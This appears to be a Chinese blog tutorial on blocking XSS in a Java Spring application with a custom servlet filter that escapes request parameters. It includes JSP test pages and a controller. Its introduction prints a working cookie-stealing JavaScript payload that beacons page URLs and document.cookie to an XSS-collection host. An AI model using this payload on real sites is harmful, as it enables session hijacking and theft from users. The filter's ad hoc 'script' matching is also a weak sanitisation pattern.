一 简介

如题所示,如果不在服务端对用户的输入信息进行过滤,然后该参数又直接在前台页面中展示,毫无疑问将会容易引发XSS***(跨站脚本***),比如说这样:

form表单中有这么一个字段:

<input type="text" id="author" name="author" placeholder="昵称" />

然后潜在***者在该字段上填入以下内容:

<script>alert('XSS')</script>

紧接着服务端忽略了“一切来至其他系统的数据都存在安全隐患”的原则,并没有对来至用户的数据进行过滤,导致了直接在前台页面中进行展示。很显然直接弹窗了:

wKioL1hHf4Px53GGAAA-9cgWE1M461.png

当然,这里仅仅只是一个无伤大雅的弹窗,如果是恶意的***者呢?他可能会利用这个漏洞盗取cookie、篡改网页,甚至是配合CSRF漏洞伪造用户请求,形成大规模爆发的蠕虫病毒等等。

比如说远程加载这么一个js将会导致用户的cookie被窃取:

(function(){(new Image()).src='http://xss.domain.com/index.php?do=api&id=ykvR5H&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if('1'==1){keep=new Image();keep.src='http://xss.domain.com/index.php?do=keepsession&id=ykvR5H&url='+escape(document.location)+'&cookie='+escape(document.cookie)};

然后将可以在自己搭建的XSS平台中收到信息,比如像这样:

wKiom1hHf7HicAJ4AAA6kVLuM0s231.png

注:因为我在这个demo程序里没有设置cookie,因此cookie那一栏显示为空白

当然,值得庆幸的是,像国内一些主流的浏览器(如:360浏览器、猎豹浏览器)对这类常见的XSS payload都进行了过滤,查看网页源代码可以发现这些危险的字符均使用了鲜艳的红色字体进行了标注,同时该脚本并不能成功地执行:

wKiom1hHf8ziHpgpAAAeB1jod0Y439.png

二 使用Filter过滤容易引发XSS的危险字符

(1)自定义一个过滤用的Filter:

package cn.zifangsky.filter;

import java.io.IOException;
import java.util.Enumeration;
import java.util.Map;
import java.util.Vector;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
import javax.servlet.http.HttpServletResponse;

import org.apache.commons.lang3.StringEscapeUtils;
import org.apache.commons.lang3.StringUtils;
import org.springframework.web.filter.OncePerRequestFilter;

public class XSSFilter extends OncePerRequestFilter {
	private String exclude = null;  //不需要过滤的路径集合
	private Pattern pattern = null;  //匹配不需要过滤路径的正则表达式
	
	public void setExclude(String exclude) {
		this.exclude = exclude;
		pattern = Pattern.compile(getRegStr(exclude));
	}
	
	/**
	 * XSS过滤
	 */
	protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
			throws ServletException, IOException {
		String requestURI = request.getRequestURI();
		if(StringUtils.isNotBlank(requestURI))
			requestURI = requestURI.replace(request.getContextPath(),"");
		
		if(pattern.matcher(requestURI).matches())
			filterChain.doFilter(request, response);
		else{
			EscapeScriptwrapper escapeScriptwrapper = new EscapeScriptwrapper(request);
			filterChain.doFilter(escapeScriptwrapper, response);
		}
	}
	
	/**
	 * 将传递进来的不需要过滤得路径集合的字符串格式化成一系列的正则规则
	 * @param str 不需要过滤的路径集合
	 * @return 正则表达式规则
	 * */
	private String getRegStr(String str){
		if(StringUtils.isNotBlank(str)){
			String[] excludes = str.split(";");  //以分号进行分割
			int length = excludes.length;
			for(int i=0;i<length;i++){
				String tmpExclude = excludes[i];
				//对点、反斜杠和星号进行转义
				tmpExclude = tmpExclude.replace("\\", "\\\\").replace(".", "\\.").replace("*", ".*");

				tmpExclude = "^" + tmpExclude + "$";
				excludes[i] = tmpExclude;
			}
			return StringUtils.join(excludes, "|");
		}
		return str;
	}
	
	/**
	 * 继承HttpServletRequestWrapper,创建装饰类,以达到修改HttpServletRequest参数的目的
	 * */
	private class EscapeScriptwrapper extends HttpServletRequestWrapper{
		private Map<String, String[]> parameterMap;  //所有参数的Map集合
		public EscapeScriptwrapper(HttpServletRequest request) {
			super(request);
			parameterMap = request.getParameterMap();
		}
		
		//重写几个HttpServletRequestWrapper中的方法
		/**
		 * 获取所有参数名
		 * @return 返回所有参数名
		 * */
		@Override
		public Enumeration<String> getParameterNames() {
			Vector<String> vector = new Vector<String>(parameterMap.keySet());
			return vector.elements();
		}
		
		/**
		 * 获取指定参数名的值,如果有重复的参数名,则返回第一个的值
		 * 接收一般变量 ,如text类型
		 * 
		 * @param name 指定参数名
		 * @return 指定参数名的值
		 * */
		@Override
		public String getParameter(String name) {
			String[] results = parameterMap.get(name);
			if(results == null || results.length <= 0)
				return null;
			else{
				return escapeXSS(results[0]);
			}
		}

		/**
		 * 获取指定参数名的所有值的数组,如:checkbox的所有数据
		 * 接收数组变量 ,如checkobx类型
		 * */
		@Override
		public String[] getParameterValues(String name) {
			String[] results = parameterMap.get(name);
			if(results == null || results.length <= 0)
				return null;
			else{
				int length = results.length;
				for(int i=0;i<length;i++){
					results[i] = escapeXSS(results[i]);
				}
				return results;
			}
		}
		
		/**
		 * 过滤字符串中的js脚本
		 * 解码:StringEscapeUtils.unescapeXml(escapedStr)
		 * */
		private String escapeXSS(String str){
			str = StringEscapeUtils.escapeXml(str);
			
			Pattern tmpPattern = Pattern.compile("[sS][cC][rR][iI][pP][tT]");
			Matcher tmpMatcher = tmpPattern.matcher(str);
			if(tmpMatcher.find()){
				str = tmpMatcher.replaceAll(tmpMatcher.group(0) + "\\\\");
			}
			return str;
		}
	}

}

(2)在web.xml文件中将该过滤器放在最前面或者是字符编码过滤器之后:

	<filter>
		<filter-name>xssFilter</filter-name>
		<filter-class>cn.zifangsky.filter.XSSFilter</filter-class>
		<init-param>
			<param-name>exclude</param-name>
			<param-value>/;/scripts/*;/styles/*;/p_w_picpaths/*</param-value>
		</init-param>
	</filter>
	<filter-mapping>
		<filter-name>xssFilter</filter-name>
		<url-pattern>*.html</url-pattern>
		<!-- 直接从客户端过来的请求以及通过forward过来的请求都要经过该过滤器 -->
		<dispatcher>REQUEST</dispatcher>
		<dispatcher>FORWARD</dispatcher>
	</filter-mapping>

关于这个自定义的过滤器,我觉得有以下几点需要简单说明下:

i)我这里为了方便,没有自己手动写很多过滤规则,只是使用了commons-lang3-3.2.jar 这个jar包中的 StringEscapeUtils 这个方法类来进行过滤。在这个类中有以下几种过滤方法,分别是:escapeJava、escapeEcmaScript、escapeHtml3、escapeHtml4、escapeJson、escapeCsv、escapeEcmaScript 以及 escapeXml。关于这几种方法分别是如何进行过滤的可以自行查阅官方文档或者自己动手写一个简单的Demo进行测试。当然,我这里使用的是escapeXml这个方法进行过滤

ii)因为一个web工程中通常会存在js、CSS、图片这类静态资源目录的,很显然这些目录是不需要进行过滤的。因此我也做了这方面的处理,代码很简单,看看上面的例子就明白了,或者可以看看我的这篇文章:https://www.zifangsky.cn/647.html

iii)关于“在Filter中修改HttpServletRequest中的参数”这个问题,只需要自定义一个类继承与HttpServletRequestWrapper 这个类,然后复写几个方法即可。如果对这方面不太理解的同学可以看看我的这篇文章:https://www.zifangsky.cn/677.html

iv)在上面的过滤器中,我在escapeXSS(String str) 这个方法的后面还针对“# onerror=javascript:alert(123)” 这种语句进行了专门的过滤。不过不过滤的话问题也不大,我觉得最多就是出现个弹窗,因为把尖括号和引号都给转义了,并不能够执行一些比较危险的操作

(3)两个测试的前台页面:

i)form表单页面input.jsp:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>    
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<base href="<%=basePath%>">
<title>FilterDemo</title>
</head>
<body>
	<div align="center">
		Please input you want to say:
		<form action="show.html" method="post">
			<table>
				<tr>
					<td><input type="text" id="author" name="author" placeholder="昵称" /></td>
				</tr>
				<tr>
					<td><input type="text" id="email" name="email" placeholder="邮箱" /></td>
				</tr>
				<tr>
					<td><input type="text" id="url" name="url"placeholder="网址"></td>
				</tr>
				<tr>
					<td><textarea name="comment" rows="5" placeholder="来都来了,何不XSS一下"></textarea></td>
				</tr>
				<tr>
					<td align="center"><input type="submit" value="Go" />
				</tr>	
			</table>
		</form>
	</div>
</body>
</html>

ii)结果显示页面show.jsp:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>    
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<base href="<%=basePath%>">
<title>FilterDemo</title>
</head>
<body>
	<div align="center">
		<table>
			<tr>
				<td>昵称:</td><td>${author}</td>
			</tr>
			<tr>
				<td>邮箱:</td><td>${email}</td>
			</tr>
			<tr>
				<td>网址:</td><td>${url}</td>
			</tr>
			<tr>
				<td>留言:</td><td>${comment}</td>
			</tr>
			<!-- <tr>
				<td><img alt="x" src=${comment}></td>
			</tr> -->
		</table>
	</div>
</body>
</html>

(4)测试用的Controller:

package cn.zifangsky.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.ModelAndView;

@Controller
public class CommentController {
	
	/**
	 * 获取留言并在页面展示
	 * */
	@RequestMapping("/show.html")
	public ModelAndView showComment(@RequestParam(name = "author", required = true) String author,
			@RequestParam(name = "email", required = false) String email,
			@RequestParam(name = "url", required = false) String url,
			@RequestParam(name = "comment", required = false) String comment) {
		
		ModelAndView mAndView = new ModelAndView("show");
		mAndView.addObject("author", author);
		mAndView.addObject("email", email);
		mAndView.addObject("url", url);
		mAndView.addObject("comment", comment);
		
		return mAndView;
	}
}

这里的代码逻辑很简单,因此就不多做解释了

(5)测试:

测试的效果如下:

wKioL1hHgFLz_0yhAAAquj5BVkU078.png

对应的网页源代码是这样的:

wKiom1hHgG2jmiW1AAA4tn1f65k425.png

可以看出,我们的目标已经成功实现了,本篇文章到此结束

PS:上面图片中的水印是我个人博客的域名,因此还请管理员手下留情不要给我标为“转载文章”,谢谢!!!